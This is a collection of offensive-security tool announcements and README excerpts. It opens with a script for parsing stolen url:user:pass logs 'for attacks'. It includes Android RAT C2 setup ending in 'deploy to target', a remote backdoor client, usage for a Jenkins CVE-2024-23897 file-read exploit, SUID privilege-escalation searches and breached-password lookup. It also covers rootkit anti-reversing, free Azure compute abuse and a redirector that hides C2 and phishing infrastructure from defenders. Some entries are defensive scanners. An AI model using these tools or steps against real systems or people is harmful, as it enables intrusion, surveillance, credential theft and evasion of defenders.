Parsing Logs for Advanced Attacks: A Comprehensive Guide

In this post, we will explore a Python script designed to parse logs containing url:user:pass data. These logs are instrumental in executing sophisticated attacks on various applications. The parsed information is stored using Google Drive, ensuring easy access and management.

You can download relevant logs from here.

Please note that this information is provided solely for educational purposes. I am not responsible for any misuse of this knowledge.

Overview of the Script

The script works by:

• Listing all .txt files in a specified directory.
• Reading lines from these files randomly without repetition.
• Extracting URLs using regex patterns.
• Saving the extracted results to a designated file.

Key Functions

• list_txt_files(directory): Lists all .txt files in the specified directory.
• read_random_file(files, directory): Reads lines from a randomly selected .txt file.
• find_pattern(line, pattern): Finds all occurrences of a given pattern in a line.
• save_results(destination_file, results, file_name): Saves the found results to the specified file.

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Analyzing APK Files for Security Vulnerabilities with APK Monster

As mobile applications become more integral to our daily lives, ensuring their security is paramount. Vulnerabilities in mobile apps can expose sensitive data, lead to unauthorized access, and compromise user privacy. To help address these challenges, we introduce APK Monster, a comprehensive tool for analyzing Android APK files for a wide range of security vulnerabilities.

Introducing APK Monster

APK Monster is designed to scan and analyze APK files against the OWASP Mobile Top 10 vulnerabilities and other common security issues. This powerful tool extracts critical information from the APK, examines its components, and identifies potential security weaknesses.

Key Features of APK Monster

1. String Extraction: Extracts all strings from XML, ARSC, TXT, and JSON files within the APK, helping identify hardcoded secrets like passwords, tokens, and API keys.

2. Permission Analysis: Checks for insecure permissions that may expose the app to unnecessary risks.

3. Cryptography Review: Identifies weak cryptographic practices within the app’s code.

4. Exported Component Detection: Highlights exported activities, services, receivers, and providers that could be accessed by malicious entities.

5. Storage Security: Scans for insecure storage locations used by the app.

6. Communication Security: Detects the use of insecure communication protocols, such as HTTP.

7. Authentication Practices: Reviews the app for insecure authentication practices.

8. Code Quality: Flags poor coding practices that may affect the app’s security.

9. Tampering Protections: Checks for mechanisms protecting the app from tampering.

10. Reverse Engineering: Looks for protections against reverse engineering, such as obfuscation.

11. Extraneous Functionality: Identifies unnecessary or debug functionalities left in the production code.

How to Use APK Monster

Using APK Monster is straightforward. Follow these steps to analyze an APK file:

1. Install Dependencies:

Ensure you have the necessary Python packages installed:

 pip install androguard termcolor tqdm

2. Run the Tool:

Execute the script with the path to your APK file and the output file for the results:

python analyze_apk.py path/to/your.apk path/to/output.txt

Understanding the Results

APK Monster generates a detailed report highlighting each aspect of the APK’s security. The report categorizes issues and provides clear indications of potential vulnerabilities. For instance:

Hardcoded Secrets: Reveals any hardcoded credentials or sensitive information.

Insecure Permissions: Lists permissions that could expose the app to risks.

Weak Cryptography: Points out cryptographic algorithms that are considered weak or outdated.

Exported Components: Identifies components that are unnecessarily exposed and could be targeted by attackers.

Why APK Monster?

APK Monster stands out due to its comprehensive approach, covering a broad spectrum of vulnerabilities as outlined by the OWASP Mobile Top 10. It is a valuable tool for security researchers, developers, and penetration testers looking to ensure their apps are secure.

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Harnessing the Deep and Dark Web for Cyber Threat Intelligence

As cyber threats evolve, so must our strategies to combat them. The deepdarkCTI project serves as a crucial resource, offering access to a curated collection of intelligence from the Deep and Dark Web. This repository is a goldmine for those in cyber security, providing tools and data that are pivotal for both defensive measures and offensive strategies.

From detailed exploits and vulnerability patches found in obscure forums, to the tracking of ransomware groups' tactics and communication in encrypted channels—every piece of data can be leveraged. Moreover, our community-driven approach allows enthusiasts and professionals to contribute and stay ahead with the latest tactics and techniques discussed in our dedicated Telegram group.

For individuals looking to delve deeper or contribute, detailed methodologies for source analysis are available, ensuring that every user can effectively apply this intelligence. Whether you’re defending an organization or testing its defenses, the insights gained from these sources are invaluable.

Join and contribute to the deepdarkCTI project today to stay at the forefront of cybersecurity intelligence.

Explore more on GitHub

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Gtfocli - GTFO Command Line Interface For Easy Binaries Search Commands That Can Be Used To Bypass Local Security Restrictions In Misconfigured Systems

GTFOcli it's a Command Line Interface for easy binaries search commands that can be used to bypass local security restrictions in misconfigured systems.

Installation

Using go:

go install github.com/cmd-tools/gtfocli@latest

Using homebrew:

brew tap cmd-tools/homebrew-tap
brew install gtfocli

Using docker:

docker pull cmdtoolsowner/gtfocli

Usage

Search for unix binaries

Search for binary tar:

gtfocli search tar

Search for binary tar from stdin:

echo "tar" | gtfocli search

Search for binaries located into file;

cat myBinaryList.txt
/bin/bash
/bin/sh
tar
arp
/bin/tail

gtfocli search -f myBinaryList.txt

Search for windows binaries

Search for binary Winget.exe:

gtfocli search Winget --os windows

Search for binary Winget from stdin:

echo "Winget" | gtfocli search --os windows

Search for binaries located into file:

cat windowsExecutableList.txt
Winget
c:\\Users\\Desktop\\Ssh
Stordiag
Bash
c:\\Users\\Runonce.exe
Cmdkey
c:\dir\subDir\Users\Certreq.exe

gtfocli search -f windowsExecutableList.txt --os windows

Search for binary Winget and print output in yaml format (see -h for available formats):

gtfocli search Winget -o yaml --os windows

Search using dockerized solution

Examples:

Search for binary Winget and print output in yaml format:

docker run -i cmdtoolsowner/gtfocli search Winget -o yaml --os windows

Search for binary tar and print output in json format:

echo 'tar' | docker run -i cmdtoolsowner/gtfocli search -o json

Search for binaries located into file mounted as volume in the container:

cat myBinaryList.txt
/bin/bash
/bin/sh
tar
arp
/bin/tail

docker run -i -v $(pwd):/tmp cmdtoolsowner/gtfocli search -f /tmp/myBinaryList.txt

CTF

An example of common use case for gtfocli is together with find:

find / -type f \( -perm 04000 -o -perm -u=s \) -exec gtfocli search {} \; 2>/dev/null

or

find / -type f \( -perm 04000 -o -perm -u=s \) 2>/dev/null | gtfocli search

Credits

Thanks to GTFOBins and LOLBAS, without these projects gtfocli would never have come to light.

Contributing

You want to contribute to this project? Wow, thanks! So please just fork it and send a pull request.

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Moukthar - Android Remote Administration Tool

Remote adminitration tool for android

Features

• Notifications listener
• SMS listener
• Phone call recording
• Image capturing and screenshots
• Persistence
• Read & write contacts
• List installed applications
• Download & upload files
• Get device location

Installation

• Clone repository console git clone https://github.com/Tomiwa-Ot/moukthar.git
• Move server files to /var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
• Set database credentials in c2-server/.env and web socket/.env
• Execute database.sql
• Start web socket server or deploy as service in linux console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
• Modify /etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
• Set C2 server and web socket server address in client functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";

public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target

TODO

• Auto scroll logs on dashboard

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LeakSearch - Search & Parse Password Leaks

LeakSearch is a simple tool to search and parse plain text passwords using ProxyNova COMB (Combination Of Many Breaches) over the Internet. You can define a custom proxy and you can also use your own password file, to search using different keywords: such as user, domain or password.

In addition, you can define how many results you want to display on the terminal and export them as JSON or TXT files. Due to the simplicity of the code, it is very easy to add new sources, so more providers will be added in the future.

Requirements

• Python 3
• Install requirements

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/LeakSearch

Usage

  _               _     ____                      _     
 | |    ___  __ _| | __/ ___|  ___  __ _ _ __ ___| |__  
 | |   / _ \/ _` | |/ /\___ \ / _ \/ _` | '__/ __| '_ \ 
 | |__|  __/ (_| |   <  ___) |  __/ (_| | | | (__| | | |
 |_____\___|\__,_|_|\_\|____/ \___|\__,_|_|  \___|_| |_|

  ------------------- by @JoelGMSec -------------------

usage: LeakSearch.py [-h] [-d DATABASE] [-k KEYWORD] [-n NUMBER] [-o OUTPUT] [-p PROXY]

options:
  -h, --help            show this help message and exit
  -d DATABASE, --database DATABASE
                        Database used for the search (ProxyNova or LocalDataBase)
  -k KEYWORD, --keyword KEYWORD
                        Keyword (user/domain/pass) to search for leaks in the DB
  -n NUMBER, --number NUMBER
                        Number of results to show (default is 20)
  -o OUTPUT, --output OUTPUT
                        Save the results as json or txt into a file
  -p PROXY, --proxy PROXY
                        Set HTTP/S proxy (like http://localhost:8080)

The detailed guide of use can be found at the following link:

https://darkbyte.net/buscando-y-filtrando-contrasenas-con-leaksearch

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

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Huntr-Com-Bug-Bounties-Collector - Keep Watching New Bug Bounty (Vulnerability) Postings

New bug bounty(vulnerabilities) collector

Requirements

• Chrome with GUI (If you encounter trouble with script execution, check the status of VMs GPU features, if available.)
• Chrome WebDriver

Preview

# python3 main.py

*2024-02-20 16:14:47.836189*

1. Arbitrary File Reading due to Lack of Input Filepath Validation
- Feb 6th 2024 / High (CVE-2024-0964)
- gradio-app/gradio
- https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/

2. View Barcode Image leads to Remote Code Execution
- Jan 31st 2024 / Critical (CVE: Not yet)
- dolibarr/dolibarr
- https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/

(delimiter-based file database)

# vim feeds.db

1|2024-02-20 16:17:40.393240|7fe14fd58ca2582d66539b2fe178eeaed3524342|CVE-2024-0964|https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/
2|2024-02-20 16:17:40.393987|c6b84ac808e7f229a4c8f9fbd073b4c0727e07e1|CVE: Not yet|https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/
3|2024-02-20 16:17:40.394582|7fead9658843919219a3b30b8249700d968d0cc9|CVE: Not yet|https://huntr.com/bounties/d6cb06dc-5d10-4197-8f89-847c3203d953/
4|2024-02-20 16:17:40.395094|81fecdd74318ce7da9bc29e81198e62f3225bd44|CVE: Not yet|https://huntr.com/bounties/d875d1a2-7205-4b2b-93cf-439fa4c4f961/
5|2024-02-20 16:17:40.395613|111045c8f1a7926174243db403614d4a58dc72ed|CVE: Not yet|https://huntr.com/bounties/10e423cd-7051-43fd-b736-4e18650d0172/

Notes

• This code is designed to parse HTML elements from huntr.com, so it may not function correctly if the HTML page structure changes.
• In case of errors during parsing, exception handling has been included, so if it doesn't work as expected, please inspect the HTML source for any changes.
• If get in trouble In a typical cloud environment, scripts may not function properly within virtual machines (VMs).

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BackDoorSim - An Educational Into Remote Administration Tools

BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.

Disclaimer

This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.

Features

• File Transfer: Upload and download files between server and client.
• Screenshot Capture: Take screenshots from the client's system.
• System Information Gathering: Retrieve detailed system and security software information.
• Camera Access: Capture images from the client's webcam.
• Notifications: Send and display notifications on the client system.
• Help Menu: Easy access to command information and usage.

Installation

To set up BackdoorSim, you will need to install it on both the server and client machines.

1. Clone the repository:

shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git

1. Navigate to the project directory:

shell $ cd BackDoorSim

1. Install the required dependencies:

shell $ pip install -r requirements.txt

Usage

After starting both the server and client, you can use the following commands in the server's command prompt:

• upload [file_path]: Upload a file to the client.
• download [file_path]: Download a file from the client.
• screenshot: Capture a screenshot from the client.
• sysinfo: Get system information from the client.
• securityinfo: Get security software status from the client.
• camshot: Capture an image from the client's webcam.
• notify [title] [message]: Send a notification to the client.
• help: Display the help menu.

Disclaimer

BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.

DepNot: RansomwareSim

If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool

BackdoorSim: An Educational into Remote Administration Tools

If you want to read our article about Backdoor

Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:

• LinkedIn : Halil Ibrahim Deniz
• TryHackMe: Halilovic
• Instagram: deniz.halil333
• YouTube : Halil Deniz

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CVE-2024-23897 - Jenkins <= 2.441 & <= LTS 2.426.2 PoC And Scanner

Exploitation and scanning tool specifically designed for Jenkins versions <= 2.441 & <= LTS 2.426.2. It leverages CVE-2024-23897 to assess and exploit vulnerabilities in Jenkins instances.

Usage

Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically.

python CVE-2024-23897.py -t <target> -p <port> -f <file>

or

python CVE-2024-23897.py -i <input_file> -f <file>

Parameters: - -t or --target: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block. - -i or --input-file: Path to input file containing hosts in the format of http://1.2.3.4:8080/ (one per line). - -o or --output-file: Export results to file (optional). - -p or --port: Specify the port number. Default is 8080 (optional). - -f or --file: Specify the file to read on the target system.

Changelog

[27th January 2024] - Feature Request

• Added scanning/exploiting via input file with hosts (-i INPUT_FILE).
• Added export to file (-o OUTPUT_FILE).

[26th January 2024] - Initial Release

• Initial release.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.

Author

Alexander Hagenah - URL - Twitter

Disclaimer

This tool is meant for educational and professional purposes only. Unauthorized scanning and exploiting of systems is illegal and unethical. Always ensure you have explicit permission to test and exploit any systems you target.

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swaggerHole - A Python3 Script Searching For Secret On Swaggerhub

Introduction 

This tool is made to automate the process of retrieving secrets in the public APIs on [swaggerHub](https://app.swaggerhub.com/search). This tool is multithreaded and pipe mode is available :) 

Requirements 

 - python3 (sudo apt install python3) - pip3 (sudo apt install python3-pip) ## Installation

pip3 install swaggerhole

or cloning this repository and running

git clone https://github.com/Liodeus/swaggerHole.git
pip3 install .

Usage

   _____ _      __ ____ _ ____ _ ____ _ ___   _____
  / ___/| | /| / // __ `// __ `// __ `// _ \ / ___/
 (__  ) | |/ |/ // /_/ // /_/ // /_/ //  __// /    
/____/  |__/|__/ \__,_/ \__, / \__, / \___//_/     
    __  __        __   /____/ /____/               
   / / / /____   / /___                            
  / /_/ // __ \ / // _ \                           
 / __  // /_/ // //  __/                           
/_/ /_/ \____//_/ \___/                            

usage: swaggerhole [-h] [-s SEARCH] [-o OUT] [-t THREADS] [-j] [-q] [-du] [-de]

optional arguments:
  -h, --help            show this help message and exit
  -s SEARCH, --search SEARCH
                        Term to search
  -o OUT, --out OUT     Output directory
  -t THREADS, --threads THREADS
                        Threads number (Default 25)
  -j, --json            Json ouput
  -q, --quiet           Remove banner
  -du, --deactivate_url
                        Deactivate the URL filtering
  -de, --deactivate_email
                        Deactivate the email filtering

Search for secret about a domain

swaggerHole -s test.com

echo test.com | swaggerHole

Search for secret about a domain and output to json

swaggerHole -s test.com --json

echo test.com | swaggerHole --json

Search for secret about a domain and do it fast :)

swaggerHole -s test.com -t 100

echo test.com | swaggerHole -t 100

Output explanation

Normal output

 `Finding_Type - Finding - [Swagger_Name][Date_Last_Update][Line:Number]` 

Json output

 `{"Finding_Type": Finding, "File": File_path, "Date": Date_Last_Update, "Line": Number}` 

Deactivate url/email 

Using -du or -de remove the filtering done by the tool. There is more false positive with those options. 

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RepoReaper - An Automated Tool Crafted To Meticulously Scan And Identify Exposed .Git Repositories Within Specified Domains And Their Subdomains

RepoReaper is a precision tool designed to automate the identification of exposed .git repositories across a list of domains and subdomains. By processing a user-provided text file with domain names, RepoReaper systematically checks each for publicly accessible .git files. This enables rapid assessment and protection against information leaks, making RepoReaper an essential resource for security teams and web developers.

Features

• Automated scanning of domains and subdomains for exposed .git repositories.
• Streamlines the detection of sensitive data exposures.
• User-friendly command-line interface.
• Ideal for security audits and Bug Bounty.

Installation

Clone the repository and install the required dependencies:

git clone https://github.com/YourUsername/RepoReaper.git
cd RepoReaper
pip install -r requirements.txt
chmod +x RepoReaper.py

Usage

RepoReaper is executed from the command line and will prompt for the path to a file containing a list of domains or subdomains to be scanned.

To start RepoReaper, simply run:

./RepoReaper.py
  or
python3 RepoReaper.py

Upon execution, RepoReaper will ask for the path to the file containing the domains or subdomains: Enter the path of the file containing domains

Provide the path to your text file when prompted. The file should contain one domain or subdomain per line, like so:

example.com
subdomain.example.com
anotherdomain.com

RepoReaper will then proceed to scan the provided domains or subdomains for exposed .git repositories and report its findings. 

Disclaimer

This tool is intended for educational purposes and security research only. The user assumes all responsibility for any damages or misuse resulting from its use.

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SploitScan - A Sophisticated Cybersecurity Utility Designed To Provide Detailed Information On Vulnerabilities And Associated Proof-Of-Concept (PoC) Exploits

SploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probability. Empowering cybersecurity professionals with the capability to swiftly identify and apply known and test exploits. It's particularly valuable for professionals seeking to enhance their security measures or develop robust detection strategies against emerging threats.

Features

• CVE Information Retrieval: Fetches CVE details from the National Vulnerability Database.
• EPSS Integration: Includes Exploit Prediction Scoring System (EPSS) data, offering a probability score for the likelihood of CVE exploitation, aiding in prioritization.
• PoC Exploits Aggregation: Gathers publicly available PoC exploits, enhancing the understanding of vulnerabilities.
• CISA KEV: Shows if the CVE has been listed in the Known Exploited Vulnerabilities (KEV) of CISA.
• Patching Priority System: Evaluates and assigns a priority rating for patching based on various factors including public exploits availability.
• Multi-CVE Support and Export Options: Supports multiple CVEs in a single run and allows exporting the results to JSON and CSV formats.
• User-Friendly Interface: Easy to use, providing clear and concise information.
• Comprehensive Security Tool: Ideal for quick security assessments and staying informed about recent vulnerabilities.

Usage

Regular:

python sploitscan.py CVE-YYYY-NNNNN

Enter one or more CVE IDs to fetch data. Separate multiple CVE IDs with spaces.

python sploitscan.py CVE-YYYY-NNNNN CVE-YYYY-NNNNN

Optional: Export the results to a JSON or CSV file. Specify the format: 'json' or 'csv'.

python sploitscan.py CVE-YYYY-NNNNN -e JSON

Patching Prioritization System

The Patching Prioritization System in SploitScan provides a strategic approach to prioritizing security patches based on the severity and exploitability of vulnerabilities. It's influenced by the model from CVE Prioritizer, with enhancements for handling publicly available exploits. Here's how it works:

• A+ Priority: Assigned to CVEs listed in CISA's KEV or those with publicly available exploits. This reflects the highest risk and urgency for patching.
• A to D Priority: Based on a combination of CVSS scores and EPSS probability percentages. The decision matrix is as follows:
• A: CVSS score >= 6.0 and EPSS score >= 0.2. High severity with a significant probability of exploitation.
• B: CVSS score >= 6.0 but EPSS score < 0.2. High severity but lower probability of exploitation.
• C: CVSS score < 6.0 and EPSS score >= 0.2. Lower severity but higher probability of exploitation.
• D: CVSS score < 6.0 and EPSS score < 0.2. Lower severity and lower probability of exploitation.

This system assists users in making informed decisions on which vulnerabilities to patch first, considering both their potential impact and the likelihood of exploitation. Thresholds can be changed to your business needs.

Changelog

[17th February 2024] - Enhancement Update

• Additional Information: Added further information such as references & vector string
• Removed: Star count in publicly available exploits

[15th January 2024] - Enhancement Update

• Multiple CVE Support: Now capable of handling multiple CVE IDs in a single execution.
• JSON and CSV Export: Added functionality to export results to JSON and CSV files.
• Enhanced CVE Display: Improved visual differentiation and information layout for each CVE.
• Patching Priority System: Introduced a priority rating system for patching, influenced by various factors including the availability of public exploits.

[13th January 2024] - Initial Release

• Initial release of SploitScan.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.

Author

Alexander Hagenah - URL - Twitter

Credits

• NIST NVD
• FIRST EPSS
• CISA Known Exploited Vulnerabilities Catalog
• nomi-sec PoC-in-GitHub API

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SwaggerSpy - Automated OSINT On SwaggerHub

SwaggerSpy is a tool designed for automated Open Source Intelligence (OSINT) on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT professionals.

What is Swagger?

Swagger is an open-source framework that allows developers to design, build, document, and consume RESTful web services. It simplifies API development by providing a standard way to describe REST APIs using a JSON or YAML format. Swagger enables developers to create interactive documentation for their APIs, making it easier for both developers and non-developers to understand and use the API.

About SwaggerHub

SwaggerHub is a collaborative platform for designing, building, and managing APIs using the Swagger framework. It offers a centralized repository for API documentation, version control, and collaboration among team members. SwaggerHub simplifies the API development lifecycle by providing a unified platform for API design and testing.

Why OSINT on SwaggerHub?

Performing OSINT on SwaggerHub is crucial because developers, in their pursuit of efficient API documentation and sharing, may inadvertently expose sensitive information. Here are key reasons why OSINT on SwaggerHub is valuable:

1. Developer Oversights: Developers might unintentionally include secrets, credentials, or sensitive information in API documentation on SwaggerHub. These oversights can lead to security vulnerabilities and unauthorized access if not identified and addressed promptly.

2. Security Best Practices: OSINT on SwaggerHub helps enforce security best practices. Identifying and rectifying potential security issues early in the development lifecycle is essential to ensure the confidentiality and integrity of APIs.

3. Preventing Data Leaks: By systematically scanning SwaggerHub for sensitive information, organizations can proactively prevent data leaks. This is especially crucial in today's interconnected digital landscape where APIs play a vital role in data exchange between services.

4. Risk Mitigation: Understanding that developers might forget to remove or obfuscate sensitive details in API documentation underscores the importance of continuous OSINT on SwaggerHub. This proactive approach mitigates the risk of unintentional exposure of critical information.

5. Compliance and Privacy: Many industries have stringent compliance requirements regarding the protection of sensitive data. OSINT on SwaggerHub ensures that APIs adhere to these regulations, promoting a culture of compliance and safeguarding user privacy.

6. Educational Opportunities: Identifying oversights in SwaggerHub documentation provides educational opportunities for developers. It encourages a security-conscious mindset, fostering a culture of awareness and responsible information handling.

By recognizing that developers can inadvertently expose secrets, OSINT on SwaggerHub becomes an integral part of the overall security strategy, safeguarding against potential threats and promoting a secure API ecosystem.

How SwaggerSpy Works

SwaggerSpy obtains information from SwaggerHub and utilizes regular expressions to inspect API documentation for sensitive information, such as secrets and credentials.

Getting Started

To use SwaggerSpy, follow these steps:

1. Installation: Clone the SwaggerSpy repository and install the required dependencies.

git clone https://github.com/UndeadSec/SwaggerSpy.git
cd SwaggerSpy
pip install -r requirements.txt

1. Usage: Run SwaggerSpy with the target search terms (more accurate with domains).

python swaggerspy.py searchterm

1. Results: SwaggerSpy will generate a report containing OSINT findings, including information about the API, endpoints, and secrets.

Disclaimer

SwaggerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.

Contribution

Contributions to SwaggerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.

About the Author

SwaggerSpy is developed and maintained by Alisson Moretto (UndeadSec)

I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.

TODO

Regular Expressions Enhancement

• [ ] Review and improve existing regular expressions.
• [ ] Ensure that regular expressions adhere to best practices.
• [ ] Check for any potential optimizations in the regex patterns.
• [ ] Test regular expressions with various input scenarios for accuracy.
• [ ] Document any complex or non-trivial regex patterns for better understanding.
• [ ] Explore opportunities to modularize or break down complex patterns.
• [ ] Verify the regular expressions against the latest specifications or requirements.
• [ ] Update documentation to reflect any changes made to the regular expressions.

License

SwaggerSpy is licensed under the MIT License. See the LICENSE file for details.

Thanks

Special thanks to @Liodeus for providing project inspiration through swaggerHole.

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Navigating Telegram’s Underworld: A Cipher for the Elite Hackers

In the encrypted depths of Telegram, far beyond the scrutiny of average netizens, lies a network pulsating with the lifeblood of the hacking elite. This isn’t your run-of-the-mill tutorial or a hacker’s 101 guide. This post is a deep dive into the abyss, mapping the veins of active and dormant channels that are the backbone of cyber threat intelligence and underground hacking operations.

The channels we’re dissecting today are not just communication lines; they are the hidden layers of the onion, each peel revealing more about the dark arts of digital dominance. From active dens where real-time data breaches, exploit trades, and botnet controls unfold, to the ghostly silence of channels once alive with the chatter of codes and hacks now lying dormant or expired - every link, every channel, serves as a node in the vast neural network of the global hacking community.

Active Channels: The Frontlines

Here, in the buzzing hive of active channels, you're as likely to find a zero-day exploit as you are a discussion on the latest evasion techniques. This isn't just about sharing tools or data; it's a relentless innovation race. Techniques, scripts, and methodologies discussed here are not for the faint-hearted but for those who command the terminal like it’s an extension of their mind.

Dormant/Expired Channels: The Archives

The silent corridors of expired channels are not just digital tombs; they are treasure troves of past operations, a testament to the ephemeral nature of digital power. Each one holds lessons, failures, and victories. They are the archives for those willing to learn from history to master the future.

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AzSubEnum - Azure Service Subdomain Enumeration

AzSubEnum is a specialized subdomain enumeration tool tailored for Azure services. This tool is designed to meticulously search and identify subdomains associated with various Azure services. Through a combination of techniques and queries, AzSubEnum delves into the Azure domain structure, systematically probing and collecting subdomains related to a diverse range of Azure services.

How it works?

AzSubEnum operates by leveraging DNS resolution techniques and systematic permutation methods to unveil subdomains associated with Azure services such as Azure App Services, Storage Accounts, Azure Databases (including MSSQL, Cosmos DB, and Redis), Key Vaults, CDN, Email, SharePoint, Azure Container Registry, and more. Its functionality extends to comprehensively scanning different Azure service domains to identify associated subdomains.

With this tool, users can conduct thorough subdomain enumeration within Azure environments, aiding security professionals, researchers, and administrators in gaining insights into the expansive landscape of Azure services and their corresponding subdomains.

Why i create this?

During my learning journey on Azure AD exploitation, I discovered that the Azure subdomain tool, Invoke-EnumerateAzureSubDomains from NetSPI, was unable to run on my Debian PowerShell. Consequently, I created a crude implementation of that tool in Python.

Usage

➜  AzSubEnum git:(main) ✗ python3 azsubenum.py --help
usage: azsubenum.py [-h] -b BASE [-v] [-t THREADS] [-p PERMUTATIONS]

Azure Subdomain Enumeration

options:
  -h, --help            show this help message and exit
  -b BASE, --base BASE  Base name to use
  -v, --verbose         Show verbose output
  -t THREADS, --threads THREADS
                        Number of threads for concurrent execution
  -p PERMUTATIONS, --permutations PERMUTATIONS
                        File containing permutations

Basic enumeration:

python3 azsubenum.py -b retailcorp --thread 10

Using permutation wordlists:

python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt

With verbose output:

python3 azsubenum.py -b retailcorp --thread 10 --permutation permutations.txt --verbose

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NullSection - An Anti-Reversing Tool That Applies A Technique That Overwrites The Section Header With Nullbytes

NullSection is an Anti-Reversing tool that applies a technique that overwrites the section header with nullbytes.

Install

git clone https://github.com/MatheuZSecurity/NullSection
cd NullSection
gcc nullsection.c -o nullsection
./nullsection

Advantage

When running nullsection on any ELF, it could be .ko rootkit, after that if you use Ghidra/IDA to parse ELF functions, nothing will appear no function to parse in the decompiler for example, even if you run readelf -S / path /to/ elf the following message will appear "There are no sections in this file."

Make good use of the tool!

Note

We are not responsible for any damage caused by this tool, use the tool intelligently and for educational purposes only.

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WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.

Done

• [x] Scan Static Files.
• [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
• [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

Installation

From Git

git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
cd web-wordlist-generator && pip3 install -r requirements.txt
python3 generator.py -d target-web.com

From Dockerfile

You can run this application on a container after build a Dockerfile.

docker build -t webwordlistgenerator .
docker run webwordlistgenerator -d target-web.com -o

From DockerHub

You can run this application on a container after pulling from DockerHub.

docker pull osmankandemir/webwordlistgenerator:v1.0
docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

Usage

-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o PRINT, --print PRINT Use Print outputs on terminal screen.

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CloudMiner - Execute Code Using Azure Automation Service Without Getting Charged

Execute code within Azure Automation service without getting charged

Description

CloudMiner is a tool designed to get free computing power within Azure Automation service. The tool utilizes the upload module/package flow to execute code which is totally free to use. This tool is intended for educational and research purposes only and should be used responsibly and with proper authorization.

• This flow was reported to Microsoft on 3/23 which decided to not change the service behavior as it's considered as "by design". As for 3/9/23, this tool can still be used without getting charged.

• Each execution is limited to 3 hours

Requirements

1. Python 3.8+ with the libraries mentioned in the file requirements.txt
2. Configured Azure CLI - https://learn.microsoft.com/en-us/cli/azure/install-azure-cli
   • Account must be logged in before using this tool

Installation

pip install .

Usage

usage: cloud_miner.py [-h] --path PATH --id ID -c COUNT [-t TOKEN] [-r REQUIREMENTS] [-v]

CloudMiner - Free computing power in Azure Automation Service

optional arguments:
  -h, --help            show this help message and exit
  --path PATH           the script path (Powershell or Python)
  --id ID               id of the Automation Account - /subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Automation/a
                        utomationAccounts/{automationAccountName}
  -c COUNT, --count COUNT
                        number of executions
  -t TOKEN, --token TOKEN
                        Azure access token (optional). If not provided, token will be retrieved using the Azure CLI
  -r REQUIREMENTS, --requirements REQUIREMENTS
                        Path to requirements file to be installed and use by the script (relevant to Python scripts only)
  -v, --verbose         Enable verbose mode

Example usage

Python

Powershell

License

CloudMiner is released under the BSD 3-Clause License. Feel free to modify and distribute this tool responsibly, while adhering to the license terms.

Author - Ariel Gamrian

• LinkedIn - Ariel Gamrian

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BounceBack - Stealth Redirector For Your Red Team Operation Security

BounceBack is a powerful, highly customizable and configurable reverse proxy with WAF functionality for hiding your C2/phishing/etc infrastructure from blue teams, sandboxes, scanners, etc. It uses real-time traffic analysis through various filters and their combinations to hide your tools from illegitimate visitors.

The tool is distributed with preconfigured lists of blocked words, blocked and allowed IP addresses.

For more information on tool usage, you may visit project's wiki.

Features

• Highly configurable and customizable filters pipeline with boolean-based concatenation of rules will be able to hide your infrastructure from the most keen blue eyes.
• Easily extendable project structure, everyone can add rules for their own C2.
• Integrated and curated massive blacklist of IPv4 pools and ranges known to be associated with IT Security vendors combined with IP filter to disallow them to use/attack your infrastructure.
• Malleable C2 Profile parser is able to validate inbound HTTP(s) traffic against the Malleable's config and reject invalidated packets.
